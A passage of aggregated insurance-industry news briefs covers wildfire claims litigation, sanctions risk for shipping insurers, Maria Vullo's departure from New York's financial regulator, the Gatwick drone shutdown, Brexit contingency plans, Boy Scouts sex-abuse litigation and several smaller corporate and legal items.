to be 100% of the replacement cost of the dwelling. After the policy change, however, the insurer made policyholders responsible for updating the amount of annual coverage theyd need to rebuild based on current construction costs, according to The Argus-Courier. Without giving these members proper notice, they bury it within the policy, Bentley said. In a statement to the publication, CSAA spokeswoman Sue Saito defended the insurers handling of wildfire claims. The majority of homeowners claims filed after the fire have been successfully closed, she said. Many of our customers have homes under construction, and some have already moved back into their houses. The 2017 wildfires had a devastating toll on our North Bay communities, and we will continue to take all of our policyholders concerns seriously as we help them move forward. The statement did not directly address the lawsuit. At present, the US is alone in taking such a stance. The rest of the P5+1 group of world powers have stuck to the 2015 accord, and EU leaders have said they will protect European economic operators engaged in legitimate business with Iran, in accordance with EU law and with UN Security Council resolution 2231. Navigating the global sanctions landscape is extremely challenging for shipping firms because of how divergent the various jurisdictions are and how quickly sanctions lists evolve. According to Mark Church, director (FD&D) at leading marine liability insurer, The North of England P&I Association Limited (North), the number of sanctions being imposed is likely to go up and up and up over the next five to 10-years as countries continue to use sanctions as political strong-arming tools. Since President Trump came into power, weve seen material changes to sanctions regimes in Iran, Syria, Russia, Venezuela, North Korea, Cuba and Sudan. Its becoming very difficult for [shipping firms] without the resources to actually keep on top of whats going on because the lists are changing every day. The pace of change [when it comes to sanctions] is huge, said Church. The US are arguably world leaders when it comes to sanctions. They have primary sanctions, which are imposed against US citizens, and they have secondary sanctions, which are imposed against third-parties around the world, whether theyre a UK company, a Canadian company, a Middle Eastern company and so on. For example, in recent US secondary sanctions on Iran, financial institutions around the world were told to either stop working with Iranian banks or lose access to the US financial system. The difficulty for EU companies, in particular, is that in an attempt to salvage the Iran deal, the EU has amended a blocking regulation which effectively says: If you change the way you do business to comply with the US secondary sanctions, then you will be in breach of the EU sanctions and legislation. The phrase stuck between a rock and a hard place gets used frequently because if you comply with the US, you risk violating the EU sanctions, Church commented. For North, the conflict is resolved because most of our members dont want to trade in violation of US secondary sanctions. The issue generally doesnt arise because our members realize that the risks of violating US secondary sanctions are so great that they dont come to us and ask if we will cover a sanctions violation claim. They dont take that step in the first place. As the first line of communication and education, marine insurance brokers need to stay on top of global sanctions lists. This is not only important with regards to helping marine clients mitigate their cross-jurisdiction trading risks, but its also important from a broker or carrier perspective because they need to abide by sanctions when considering which clients to take on. One of the trends were seeing is US authorities (and to a lesser extent, the UN and the EU) putting a real focus on insurance and shipping, Church added. The US, in particular, sees shipping as an area where they can have a real impact and can really change peoples behavior. Insuring a vessel conducting a particular trade may itself be sanctionable, so theres a real focus now on shipping and insurers. Of the various educational proposals submitted to Farmers, five were selected to each win $100,000 grants: Ms. Lisa Artusi of Kennedy Academy in South Bend, Indiana; sponsored by Farmers Insurance agent Lu Ann Shaffer Ms. Shaye Atwood of Tarver-Rendon Elementary School in Burleson, Texas; sponsored by Farmers Insurance agent Joe Jenkins Ms. Jill Barnes of Valley Elementary School in Jefferson, Maryland; sponsored by Farmers Insurance agent Christina Di Bari Ms. Jamie Metivier of Tanglewood Elementary School in South Glen Falls, New York; sponsored by Farmers Insurance agent Justin Rickson Mr. Zachary Morita of Niu Valley Middle School in Honolulu, Hawaii; sponsored by Farmers Insurance representative Melanie Joseph It was an honor to surprise five visionary teachers with the funds to help make their dreams a reality and share in the excitement of the students, faculty and community members, said Farmers Insurance managing lead for Thanks Americas Teachers Tu-Han Phan. Their ambitious proposals truly inspired us and the voting public, which led to Farmers Insurance granting $500,000 to support classroom projects ranging from a mobile literacy clinic to one of the nations only elementary school agriculture curriculums. Since 2014, Farmers has awarded over $4 million in educational grants through the Thank Americas Teachers program. Pioneer Underwriters has reaffirmed its commitment to the North American professional liability market ahead of next years renewals. The business, led by Patrick Comerford, remains a core part of Pioneers underwriting operations, Pioneer said. Pioneer has outstanding reputation in the North American professional liability class, said Pioneer CEO Andrew McMellin. With a profitable book of business and an excellent underwriting team, we will continue to invest and further strengthen this part of our business in 2019. Maria Vullo is stepping down as head of New Yorks banking and insurance regulator, she said in an interview, after three years in which she created a national model for cybersecurity regulations at banks and fought back against federal attempts to chip away at Obamacare and payday-lending rules. Vullo, the superintendent of New Yorks Department of Financial Services, will leave on Feb. 1. New York Governor Andrew Cuomo hasnt chosen a successor, although hes considering his chief of staff, Linda Lacewell, for the job, according to the Wall Street Journal. Its been a great three years, Vullo said in the interview. I am immensely proud of the depth of the work done in every division of this agency. After taking office in early 2016, Vullo prioritized consumer protection and implementing rules requiring banks to keep cybersecurity defenses up to date. After Donald Trump was elected president with a promise to roll back the Affordable Care Act and loosen financial regulations, she channeled her efforts into protecting health-care access and enforcing state restrictions on payday lending. As head of DFS, Superintendent Vullo has been a fierce advocate for New Yorkers at a time when the federal government has chosen to put corporations before people, Cuomo said in a written statement. Trump Election The morning after the election, Vullo, a Democrat, convened an executive meeting at DFS. We took that moment, which could have been crisis, and determined that we were going to protect New Yorkers in the face of what the federal government was going to do, she said. Vullo collected more than $2.8 billion from enforcement actions against financial institutions, mostly foreign banks, for violations of U.S. sanctions, anti-money-laundering laws and the Bank Secrecy Act. She maintained positive ties with New Yorks business community in contrast with her predecessor, Benjamin Lawsky, who drew banks ire as he tallied $6 billion in penalties over four years. The business community generally and the financial industry in particular has really greatly appreciated the expertise and the balance that Maria has brought to that job, said Kathryn Wylde, chief executive officer of the Partnership for New York City, a advocacy group for businesses. She has enforced laws fairly but not punitively. Shell be very much missed. Fixing Strains Vullo also formed strong working relationships with the U.S. Department of Justice, the Federal Reserve and the Manhattan district attorneys office. Some of those ties grew strained under Lawsky, who sometimes moved before his fellow regulators on enforcement actions. Maria has taken a broad view, said Brad Karp, chairman of Paul Weiss, where Vullo worked before joining DFS, building much-needed bridges with other regulators and enforcement agencies, successfully working with (and not against) the industry to address conduct-related issues, and focusing on long-overdue initiatives, including in the area of cybersecurity. Not all those relationships were smooth. DFS is currently litigating a case involving Bank of Tokyo Mitsubishi UFG, which converted its state license last year to a federal charter issued by the U.S. Office of the Comptroller of the Currency. The OCC approved the application for transfer in eight days, catching the New York regulator by surprise. A similar approval for UBS AG took months. In court filings involving the bank, Vullo objected to the removal of the outside monitor she appointed to oversee Bank of Tokyos sanctions compliance program. The litigation is pending. Vigorous Enforcement I believe in vigorous enforcement of the law, Vullo said of the Bank of Tokyo/OCC battle. An institution should not be able to flip a charter for purposes of evading enforcement by state regulators. The bank and the OCC say the conversion was done to simplify the banks regulatory structure in the U.S., where it had multiple state licenses and one national charter for its consumer bank in California Copyright 2021 Bloomberg. Topics Cyber Legislation USA New York A New Jersey man has been charged with insurance fraud and theft by deception in an alleged scheme to collect $17,048 in temporary total disability payment from his insurance company. Ramdeo Ramsaran, of Teaneck, N.J., was indicted on charges of second-degree insurance fraud and third-degree theft by deception in an indictment handed up by a state grand jury in Trenton, N.J., on December 12. According to the indictment, between August 2016 and July 2017, Ramsaran collected temporary total disability payments from Hudson Insurance Company by falsely claiming he was unable to work when, in fact, he was working. Ramsaran allegedly made false statements and submitted, or caused to be submitted, fraudulent documents in support of that claim. Second-degree crimes carry a sentence of five-to-10 years in state prison and a criminal fine of up to $150,000. Third-degree crimes carry a sentence of three-to-five years in state prison and a criminal fine of up to $15,000. The indictment is merely an accusation, and the defendant is presumed innocent until proven guilty. Deputy Attorney General Jennifer Menjivar presented the case to the grand jury. Detective Wendy Berg coordinated the investigation. Source: New Jersey Office of the Attorney General Topics Fraud Abuse Molestation New Jersey Londons Gatwick airport is closed to aircraft following multiple sightings of illegal drones, disrupting flights for as many as 115,000 people on one of the busiest travel days of the year. Lines of passengers circled Gatwicks two terminals Thursday and hundreds hunkered down on departure-hall floors, with the airport saying at 11:30 a.m. that it could give no indication of when it might reopen. Police said the incursions were clearly deliberate though most likely not terror related. Reports of two objects above the airfield prompted authorities to halt flights late Wednesday, with more than 50 incoming planes diverted to other hubs across Britain and some in mainland Europe. The airport reopened after six hours, only to shut again 45 minutes later amid further sightings. Operations remained grounded into the peak morning departure period, with no time set for their resumption, though a spokeswoman said daylight should help staff determine whether there is still a risk. Gatwick is the worlds busiest single-runway hub, the biggest base for discount carrier EasyJet Plc and the focus for long-haul leisure flights at British Airways. Police and airport-security teams were continuing to scour the area after the last sighting of a drone at 8:45 a.m., with a helicopter deployed to aid in the search for the perpetrators. We believe this to be a deliberate act to disrupt the airport, Superintendent Justin Burtenshaw, the police commander for Gatwick, said in a statement. However, there are absolutely no indications to suggest this is terror related. Gatwick said on its Twitter feed that services had been idled due to drone activity and that customers should check with their airline before heading to the airport. Were sorry for the inconvenience today, but the safety of our passengers and staff is our no. 1 priority, it added. Diverted or canceled flights overnight affected about 6,000 people at carriers including Cathay Pacific Airways Ltd. and Norwegian Air Shuttle ASA, while 2,000 more were unable to depart on 18 scrapped services. The extended closure means hundreds of daytime operations may be lost in what would be one of the worst-ever disruptions to schedules by illegal drone incursions. Even when the airport reopens, further upheaval is likely, with EasyJet saying in a statement that the overnight shutdown has left aircraft and crew rostered to fly from Gatwick stranded at other locations. London is served by about half a dozen airports, and some passengers at Gatwick said they were seeking to book flights from Heathrow, about 30 miles away, in order to complete their journeys. One couple who had been planning to spend Christmas in the Caribbean said theyd traveled for two hours from the English Midlands and then found their flight to Barbados delayed for at least five hours. Others tweeted their frustrations while generally supporting the airports decision to close. Right call Gatwick, one person said, though another suggested that police should seek to shoot down any trespassing craft, and a third argued that with day dawning either you can see a drone or you cant. Unmanned aerial vehicles and laser pointers are becoming an increasing threat for aircraft, prompting regulators to come up with new rules against operating the devices near airfields. Dubai International Airport shut down temporarily in 2016 after suspected drone activity, while airspace around Wellington, New Zealand, was closed for 30 minutes this year when a craft was spotted flying close to the runway. And Grupo Aeromexico SAB last week said was investigating whether a drone collided with a Boeing Co. 737 aircraft as the plane approached Tijuana, Mexico. The jet sustained damage to its nose but landed safely. A Different Kind of Bird In the past, trying to skirt around birds was hard enough and now youve got a different kind of bird made out of metal or plastic, said Mohshin Aziz, an aviation analyst at Maybank Investment Bank Bhd. in Kuala Lumpur. A drone strike is far, far more damaging than a bird strike. While governments bar drones from paths reserved for airliners, with Britain outlawing flights above 400 feet or within 1 kilometer (0.6 miles) of an airport boundary, the millions of small consumer devices that have been purchased around the world cant be tracked on radar. That makes it difficult to enforce the rules. In addition, many users dont know the restrictions or dont follow them. Sussex police said early Thursday there was no evidence to suggest that the Gatwick incident was terror-related and that theyd take all available actions to disrupt the incursion. U.K. Aviation Minister Liz Sugg said the government was in close contact with the airport as it worked with police to safely resolve the situation as quickly as possible. The drone operators could face five years in jail, she added. With assistance from Rita Devlin Marier, Kyunghee Park and Alex Morales. Related: Copyright 2021 Bloomberg. Topics Law Enforcement Aviation London Uk Most banking, insurance and other financial firms in Britain would be cut off from the European Union if there is a no-deal Brexit, the blocs executive body said on Wednesday. Financial services are Britains most important tax-earning sector, with the EU its biggest customer. The European Commission set out its contingency plans in the event of Britain crashing out of the bloc next March without securing a divorce settlement and transition period. If the Withdrawal Agreement is not ratified, financial operators established in the United Kingdom will lose, as of the withdrawal date, the right to provide their services in the EU27 member states under the EU financial services passports, it said in a statement. Brussels said it was only taking preventive action to ensure EU customers could continue clearing derivatives transactions at UK operators like LCH for a year from March, and use central securities depositories in Britain for two years. The commission has concluded that EU27 companies need this time to have in place fully viable alternatives to UK operators. It also gave EU market participants time to shift derivatives contracts from Britain to the EU without being caught up with margining requirements. For their part, clients in the European Union of UK firms need to prepare for a scenario in which their provider is no longer subject to EU law, the commission said. This contrasts with Britains decision to offer broad access for banking, insurance and other financial services from EU firms in the event of a no-deal Brexit. The Bank of England said it welcomed the move by Brussels to allow clearing to continue, but that practical arrangements to implement the decision still needed to be put in place. This includes agreeing the necessary cooperation and information-sharing arrangements between the bank and the European Securities and Markets Authority, the BoE said. The BoE had also wanted EU contingency plans to include legal continuity of cross-border insurance contracts. While the action on derivatives is welcome it is extraordinary that the EU authorities will act to help major financial institutions, but not millions of ordinary people living in Europe whose insurance and pension contracts happen to be held in the UK, said Hugh Savill, director of regulation at the Association of British Insurers. Catherine McGuinness, leader of the City of London financial district, said the commission also needed to address significant cliff edge risks for data transfers and contract continuity for uncleared derivatives. Markus Ferber, a senior member of the European Parliaments economic affairs committee, said actions on derivatives will not be enough as the question of legal liability remains unanswered. The European Commission has to disclose the underlying cooperation agreements with UK supervisors. Furthermore it has to answer the question if and up to what level the European Central Bank will have to provide emergency liquidity assistance in a crisis scenario, Ferber said. Many financial firms in Britain are pushing ahead to open new hubs in the bloc before March to ensure continuity of services for EU customers, irrespective of what form Brexit takes. (Reporting by Huw Jones; editing by Andrew Cawthorne and Jan Harvey) Topics Carriers Europe Uk Brexit Synergy Professional Associates, in partnership with Tokio Marine HCC Professional Lines Group, has launched two new lawyers professional liability programs focusing on small law firms in Arizona and Texas. The new facilities target small law firms from one to 35 attorneys. The programs are written by U.S. Specialty Insurance Co., an admitted carrier in Arizona and Texas. Limits available up to $5 million/$5 million. Deductibles starting at $1,000 per claim. The policy features coverage for disciplinary proceedings, as well as subpoena assistance, public relations reimbursement, and network security and privacy liability sub-limits. Synergy has been writing lawyers professional liability on both a standard and surplus lines basis. According to Michele McCrohan, SVP of Synergy Professional Associates, the new partnership with Tokio Marine HCC Professional Lines Group will continue to expand Synergys national footprint in the space. Synergy Professional Associates, Inc. is a program manager, managing general agent, and surplus lines broker specializing in professional liability. It operates on an open broker basis with duly appointed producers. Tokio Marine HCC is the marketing name used to describe the affiliated companies under the common ownership of HCC Insurance Holdings, Inc., a Delaware incorporated insurance holding company. Headquartered in Houston, Texas, Tokio Marine HCC is a leading specialty insurance group with offices in the United States, the United Kingdom and Continental Europe. Tokio Marine HCC is a member of the Tokio Marine Group. The Professional Lines Group, a member of Tokio Marine HCC, provides protection against claims arising from professional negligence, which can lead to financial losses, expensive litigation and staggering jury awards. The group offers miscellaneous professional liability for all kinds of professionals, businesses and consultants and underwrites the most diverse and complex types of coverage to help keep ones budget and operations intact. Topics Texas Arizona Professional Liability Metro Manila (CNN Philippines, December 20) Miss International 2013 and Philippines' very own beauty queen Bea Rose Santiago revealed she is suffering from kidney failure. The 28-year-old actress-beauty queen updated her Instagram followers on Wednesday, the last day of her hospital dialysis. In August, Santiago shared that she was diagnosed with chronic kidney disease, which she claimed was the result of her intense "gym life." She then she headed to Tokyo in Japan to seek for a second opinion, where doctors confirmed her sickness. She added she then flew to Toronto, Canada to meet with her family and "potential kidney donors." "Kinda have kidney failure... Yes, I will be needing a life saving transplant. I live because of a machine, my dialysis machine, and the doctors and nurses at Home Hemo Dialysis Center in Toronto General," Santiago wrote on Instagram, accompanied by her filtered photo with a catheter attached to her chest. In another post, she revealed her brutal travels to the hospital and excruciating dialysis to remove the waste, salt, and extra water that her kidney cannot expel on its own. "For the past 3 and a half months I've been coming to this hospital, 4 times a week, 5 hrs a day. I wake up 5:30 or 6am travel 2 hrs and set my machine up. It tested my whole being. I took uber, lyft, go trains, YRT and ttc to get to the hospital. It tested my patience, confidence in myself, my faith and my family," she wrote. She said the acceptance of her sickness in an ongoing process of acceptance. "It tested my patience, confidence in myself, my faith, and my family. I have shitty days where I allow myself to feel pity, sad, and angry towards myself (usually weekly) but I lift myself up, listen to Queen and dance naked," she wrote. But Santiago remains positive amid all the trials. "I am blessed and I will continue to spread positivity to the world. I am in a good place now but my heart isn't. It's not easy and will only get harder!" she wrote. Santiago remains her bubbly self, as evidenced by the black toga she brought and wore on her "graduation day" from the hospital dialysis. She will continue with her dialysis at home. "God wanted me to live so He made me go to the ER for my migraines. He gave me friends who are too loving, they can be saints, and a family and best friends that's willing to share their organs without me forcing them," she said. She appealed to the public to have themselves checked regularly even without showing symptoms of kidney failure, such as swollen ankles, puffy face, shortness of breath, high blood pressure, and weak and painful bones, among others. "I am not asking for sympathy I am asking for awareness...I am lucky and I am loved! Bad kidneys can kiss my @$$!" she said. | BY Ricki Green | Pixels Goldy has begun a six week campaign for a nomination at the 91st Academy Awards, after his film Lost & Found was shortlisted as one of ten films by the Academy. With heavyweights like Pixar and Dreamworks in the mix, the Lost & Found team has begun a grassroots tongue-in-cheek promotional campaign to grab the attention of academy voters. A series of classic film posters, reimagined to include the films adorable crocheted cast (check out the films Instagram), have started to creep across the internet. The finished film represents a four year long collaboration with writer and co-director Bradley Slabe and producer Lucy J Hayes (Stanley & Morph), which included a massive 14 month shoot, capturing an average of one second of animation per day The Screen Australia funded short utilises (and in many cases pioneers) innovative techniques in motion control, stop motion animation and effects, to tell the heartbreaking story of a knitted dinosaur that must choose to unravel itself in order to save the love of its life. To track the campaign and other film fun, follow @lostandfoundshort on Instagram. It took Robb Lawson until he was 45 to finally confront a dark memory from his days as a Boy Scout. Lawson was a teenager at the time, a member of a troop in Georgia, picked to attend a wilderness challenge to win entry in the Scouts prestigious Order of the Arrow. He recalls that he wasnt feeling well, and a trip leader took him to a tent and raped him. The lawsuit he filed against the Boy Scouts of America in 2016 represented a personal turning point for Lawson. For the Boy Scouts, his story reflects the nationwide scandal and financial stakes that have pushed the 108-year-old organization to consider filing for bankruptcy. Last week, Chief Scout Executive Michael Surbaugh acknowledged media reports that the group was considering Chapter 11 protection, saying its exploring all options available to ensure that scouting programs continue uninterrupted. Nothings been decided, said Boy Scouts spokeswoman Effie Delimarkos in an email. Its due diligence for an organization whose motto is be prepared to explore all of our opportunities and pathways forward. The Scouts are fighting hundreds of claims, a rash of litigation fueled by the public emergence in 2012 of the organizations own meticulous records of thousands of sexual abuse and misconduct allegations. BSA executives say the documentsknown as the ineligible volunteer fileswere part of their system for protecting kids by weeding out those who shouldnt have been allowed to work with them. Plaintiffs and their lawyers call it something else: evidence of a massive cover-up that endangered other children and, in the words of Lawsons suit, put scoutings image and financial interestsits brandahead of the safety of the scouts. Already under pressure from declining enrollment, the Scouts have worked to minimize the financial impact of sex abuse litigation. The group has paid more than $11 million to the law firm leading its legal defense and has doubled its level of insurance reserves since the records were made public. The group has also raised dues and, in the interest of reaching a new audience, opened its programming to girls starting next year, when the traditional scouting program will be renamed Scouts BSA. Insurers Balk Its also in court with its insurance companies, which argue that they shouldnt have to pay claims related to abuse that the Scouts could have reasonably prevented. BSA and several councils sued the Hartford Accident and Indemnity Co. and First State Insurance Co. in Texas for $13.5 million in June, after the insurers argued that BSAs own records showed the organization hadnt done enough to warn or protect kids. These werent unrelated incidents, according to the insurers, but all the result of the organizations failure to warn parents of the risk. In a different legal dispute, insurers are refusing to pay for sex-abuse settlements and legal defense fees, arguing that the events werent accidents, or even unforeseen. We have a social and moral responsibility to fairly compensate victims who suffered abuse during their time in Scouting, and we also have an obligation to carry out our mission to serve youth, families and local communities, Surbaugh said in his statement. At no time in our history have we knowingly allowed a sexual predator to work with youth, and we always seek to act swiftly when alerted to abuse allegations. Lobbying Effort At the same time, the organization has lobbied lawmakers in various states to limit its exposure seeking to defeat measures that would give child victims more time to claim damages as adults. Last year, the Boy Scouts spent almost $950,000 on lobbying, four times its average over the previous five years. The group doesnt say how all of that money was spent, but the increase was enough to draw the scrutiny of nine members of Congress, who expressed concern about the nature of the groups advocacy. More kids participate in the Boy Scouts than in almost any other American organization. Even after years of declining enrollment, more than 2 million youth participated in its programs in 2017, where they were supervised by 889,000 adult leaders. By some measures, its reach dwarfs that of the U.S. Catholic church, which has been reckoning with its own history of systemic abuse: There are fewer kids in American Catholic schools than in Scouts programs, and grownup volunteers outnumber practicing priests in the U.S. by more than 20 to 1. Since the 1980s, the Boy Scouts have made active efforts to address and prevent sex abuse, Delimarkos said. Volunteers have to pass background checks and complete youth-protection training every two years. Rules prohibit one-on-one contact between adults and kids, on social media and in person. All volunteers and employees are required to go to law enforcement with any allegations or suspicions of abuse. Theres a 24-hour help line for reporting concerns and violations, and staff members are available to support victims and their families. Its good that theyre trying to address it, says Lawson, whose case awaits a judges ruling on whether his claims against the Boy Scouts as an organization can move forward. But I dont know how you atone for the past as well. Time Limits In personal-injury law, victims typically have a finite amount of time to seek damages. For a car accident or a slip-and-fall, that makes sense. Those injuries and related damages are readily apparent and describable. Survivors of sexual assault, especially those who were victimized as children, sometimes need decades to come forward, let alone press charges or seek damages. As the last 18 months have cast in sharp relief, even adults with power, fame and money are often loath to point a finger at an abuser. Look at how hard it is for adults to come forward, says Steven Berkowitz, a child and adolescent psychiatrist and visiting professor in psychiatry at the University of Colorado School of Medicine. There are so many factors and obstacles and difficulties in our legal system and otherwise, why would you put yourself through that? In recognition of the obstacles for child victims, states have responded with laws that effectively give survivors more time to sue. Washington became the first to change its statute of limitations: Since 1988, victims of child sex abuse have been able to bring claims within three years of the act, or three years from the time they remember the abuse or realize its damaging effects. In some parts of the U.S., survivors can now bring claims into their 30s and 40s. Several states have created opportunities, often referred to as look-back windows, to seek justice for older cases. California, Delaware, Minnesota and Hawaii are among those that have given plaintiffs limited time periods of one to three years to bring lawsuits that would have otherwise been barred. All told, about 3,525 cases have been filed that would have otherwise been too old, according to Child USA, an advocacy group that tracks legal protections for children. Even when they cant overcome the statute of limitations for personal injury, some plaintiffs lawyers have gotten creative and, increasingly, judges have been receptive. In Idaho, Montana, Iowa and Oregon, courts have allowed plaintiffs to sue for fraud, using the Boy Scouts records as evidence that the organization knew about, and covered up, a pervasive sex-abuse problem. For fraud claims, the statute of limitations starts only when victims discover the alleged fraud. The Ordeal Much of the litigation explosion traces to a case that began in 2007, when six men in Oregon sued the Boy Scouts, alleging abuse at the hands of an assistant scoutmaster in the 1980s. At the time, Oregon allowed victims to file suit up to their 26th birthday or three years from when they discovered the connection between their childhood abuse and their injuries. The state later extended the statute of limitations for victims to age 40. During the first trial in the Oregon suits, the jury was allowed to read thousands of the Boy Scouts internal records related to abuse. This was a first; no previous jury or plaintiff had seen the scope and detail of how the organization handled sexual-misconduct allegations. The jury awarded plaintiff Kerry Lewis more than $19 million in damages. The case brought new national attention to the BSAs problem with child abuseand eventually, the groups efforts to shield its internal records from public view unraveled. In 2012, Oregon forced the release of the files presented as evidence in the trial: a list of more than 1,200 men alleged to have been involved in sexual abuse or misconduct between 1965 and 1985, as documented and tracked by the national organization. Survivors could suddenly see for themselves that their experience wasnt anomalous. One man who would eventually scroll through an online database of the files was Robb Lawson. In 2015, he began his own investigation of what happened to him in the Boy Scouts. He found an entry for Gainesville, Georgia, his hometown, with no name listed. It also contained a troop number that didnt exist in Gainesville, and no further documentation except a year: 1995. With about 40,000 people, Gainesville is a small place, and smaller still for Lawson, whose great-great-grandfather, great-grandfather and mother had all served as mayor. Together with his lawyer, Lawson started asking around. It didnt take long to come up with a name for the trip leader Lawson remembered: R. Fleming Weaver, a deacon in the First Baptist Church of Gainesville and, for more than a decade, a scout troop leader in the area. In 2015, Lawson got a legal opening to sue Weaver when Georgia instituted a two-year look-back window. Weaver, now in his mid-80s, denies Lawsons claims. His lawyer declined to comment. The Georgia look-back window did not apply to institutions, but Lawson filed suit against the Boy Scouts as well, alleging the group engaged in racketeering and conspiracy by covering up Weavers actions and hiding the widespread abuse in other troops. He also alleged the group was creating a public nuisance: Despite knowing that child predators operate within their organizations, BSA and the Northeast Georgia Council continue to hold themselves out as organizations of integrity and safety and continue to actively solicit new members. Lawsons lawyer, Esther Panitch, says that the Boy Scouts have a file of accusations against Weaver dating to his time as a troop leader before he moved to Georgia, but the BSA hasnt turned the records over. The organization has said in court filings only that it has since acquired knowledge that Weaver had been accused of sexually abusing Scouts in other troops prior to his work with Troop 26 in Gainesville. The Boy Scouts asked the court to dismiss the charges, arguing that the claims are too old, and that Georgias look-back window applied only to cases against people, not institutions. The judge partially agreed, though he hasnt yet ruled on the conspiracy and public nuisance claims, which have a longer shelf life. We are damned determined to explore any possible avenue toward getting the Boy Scouts to be held responsible, says Panitch. The problem is they are still hiding the files. Theres been a reckoning in the country, and the Boy Scouts are still not owning what they did. In 2017, a new proposal with the potential to boost Lawsons case began making its way through the Georgia legislature: It would have opened a one-year look-back window for claims against institutions that intentionally or with conscious indifference concealed evidence of abuse. The Boy Scouts hired several lobbyists to fight the measure. After passing the state House unanimously last February, it died in the Senate judiciary committee. The BSA takes pride in the political success of its graduates. By its own tally, 150 members of the U.S. Congress were scouts or volunteered as adults. It is also one of a relative handful of organizations to have a congressional charter, along with the U.S. Olympic Committee and a slew of veterans groups. Advocates for statute of limitations reform say theres new hope for success. The New York State Senate, the stumbling block in previous efforts, has switched from Republican to Democratic control. And in California, Jerry Brown, who has twice vetoed such legislation since 2013, will soon be replaced by governor-elect Gavin Newsom. At the federal level, congressional oversight is typically pretty minimal, but last month, a handful of representatives asked the Boy Scouts to answer questions about allegations that the group shielded volunteers it knew to be predators and reports of its efforts to stymie look-back proposals in Georgia, Michigan and New York. As BSA prepares to welcome girls and young women into its programs, we are concerned about what your position means for the safety and well-being of these future recruits, Representative Jackie Speier, a California Democrat, and eight other representatives wrote in a letter dated Nov. 20. They requested information on safety procedures and reporting mechanisms, and additional precautions the organization may be putting in place as it tries to attract girls into the ranks. In response, the Scouts plan to ask Congress for federal support to advance child safety, according to Delimarkos, including allowing youth-services organizations to share information about individuals who have been removed from their programs for alleged inappropriate conducteven if the individuals have not been arrested or convicted. Meanwhile, the Boy Scouts continue to confer the Order of the Arrow on boys who best exemplify the Scout Oath and Law in their daily lives. It begins with a mandatory induction ceremony, still called, as it was in Lawsons childhood, the Ordeal a camping trip that provides little food and requires participants to sleep alone at night. Scouts are expected to maintain silence the entire time. Copyright 2021 Bloomberg. Topics Lawsuits California Legislation USA Claims Abuse Molestation Georgia Oregon Massachusetts-based Cambridge Mobile Telematics, which offers safe driving technology that is used globally by insurers and other firms, said it has attracted a $500 million investment from the SoftBank Vision Fund that it will use to grow globally. This partnership with the Vision Fund is the start of the next stage of our journey to bring safe mobility solutions for people and goods at a massive scale, Hari Balakrishnan, CMTs co-founder, chairman and CTO, said in prepared remarks. SoftBank Vision Funds largest backer is the Saudi government, which has prompted some to question the firms accepting monies from the Saudis since the U.S. government has concluded that Saudi Crown Prince Mohammed bin Salman ordered the assassination of journalist Jamal Khashoggi in October. In an interview with WBUR Radio in Boston, CMTs Balakrishnan said it is fair for some to question partnering with the Saudi-backed venture fund, but stressed that his company is not partnering directly with the Saudi government. He said SoftBank has publicly condemned the killing and Balakrishnan did as well. The Cambridge, Mass.-based company wants to promote adoption of its DriveWell platform that insurers, fleets, wireless carriers and other entities can use to measure driving risk and improve driver safety. CMT claims DriveWell reduces phone distraction by 35 percent on average within 30 days, and at-risk speeding and hard braking by 20 percent. The firm also expects to use the funds to advance its work in automated crash and claims management, video analytics and safety for emerging vehicle and mobility systems. The companys technology draws on mobile sensing, artificial intelligence and behavioral science. Customers use the technology to measure driving performance for insurance pricing, provide incentives to improve driving quality, and lower operating costs by reducing crash rates and automating some claims processing functions. CMTs partners include State Farm, Liberty Mutual, Desjardins, Discovery, Admiral, MS&AD Group, QBE, AIG and Insurance Australia Group, with a global customer base of several million users. It now works with customers in more than 20 countries. SoftBanks investment is subject to regulatory approval, according to CMT. CMT launched in 2010 as an outgrowth of the Massachusetts Institute of Technologys Computer Science and Artificial Intelligence lab. Source: Cambridge Mobile Telematics Topics Mergers USG Insurance Services Inc., a national wholesaler and MGA, has hired Corey Cooper as producer/broker in its Covington, Louisiana, branch. Corey joins the USG team with 11 years of experience in the industry, most recently at her position with UIG in Mandeville, Louisiana. At USG, she will work with the Louisiana team to build her book of business and broaden USGs Gulf state agency network. USG Holdings Inc. has six divisions; USG Insurance Services Inc. a national wholesale/MGA; BFS: Brokers Financial Services, a premium finance company; BFS Inspections, an inspection company; AAU: Allied American Underwriters, a program manager and specialty division; and Aureate Technology Solutions, an information technology company. Source: USG Topics Louisiana A Louisiana credit union has agreed to pay a former branch manager $110,000 to settle a federal discrimination lawsuit, the U.S. Equal Employment Opportunity Commission (EEOC) announced. The EEOC filed suit against Lafayette, La.-based Lafayette Schools Federal Credit Union, now known as Meritus Credit Union, charging that it fired Connie Fields-Meaux because she opposed and assisted another employee in opposing its use of a racially offensive video during a training session. Fields-Meaux ran the credit unions branch in Crowley, La. The suit alleged that the credit union used the video, which depicted a caricature of a black fast food worker, as an example of how not to provide customer service. Fields-Meaux, who is African-American, left the session because she found the video offensive, and she later reported that another employee, who is also black, had told her that he found the video offensive, as well. Within days, the credit union fired her without warning or explanation. The EEOC filed its suit (Civil Action No. 18-6673) in U.S. District Court for the Eastern District of Louisiana earlier this year. Under the three-year consent decree settling the suit, signed by U.S. District Judge Lance M. Africk, the credit union will pay Fields-Meaux $110,000 in monetary relief and provide a variety of other, non-monetary relief. For instance, the credit union will provide regular training to its employees on retaliation. In a media release, Meritus stated that while the company has settled the case, it denies the allegations in the lawsuit. We prefer the certainty of resolution over the cost of continued legal proceedings. The settlement is not an admission of liability, and we strongly maintain no violation occurred, Meritus said. Source: EEOC Topics Lawsuits USA Louisiana A federal judge in North Carolina has shut down a lawsuit against a Smithfield Foods hog feeding operation by some neighbors who complained of odors, flies and noises. U.S. District Judge David Faber on Dec. 13 declared there wasnt enough evidence for those neighbors to pursue punitive damages. Jurors in Raleigh determined Dec. 12 that eight neighbors of a Smithfield Foods animal feeding operation in Sampson County should be compensated with between $100 and $75,000 each. The neighbors had complained about Sholar Farm, which houses up to 7,000 swine. Jurors in three related cases previously decided Smithfield Foods should pay nearly $550 million in penalties, which were reduced under a state law limiting punishment. Smithfield Foods said it believes the lawsuits are an abuse of the legal system. Copyright 2021 Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed. Topics Lawsuits Legislation Agribusiness North Carolina Officials in Floridas Panhandle have agreed to take out a $50 million loan to help pay for Hurricane Michael-related bills until federal reimbursements are received. The Panama City Commission approved the measure Monday, calling the loan a necessary evil. City Manager Mark McQueen told officials that it will cost between $60 and $80 million just to cover debris pickup and security measures. The News Herald reports officials hope to repay the loan with the reimbursement. Bay District School, Bay County and other municipalities in the area hit by Michael on Oct. 10 are also considering similar measures. Theyre borrowing the money from PNC Bank. 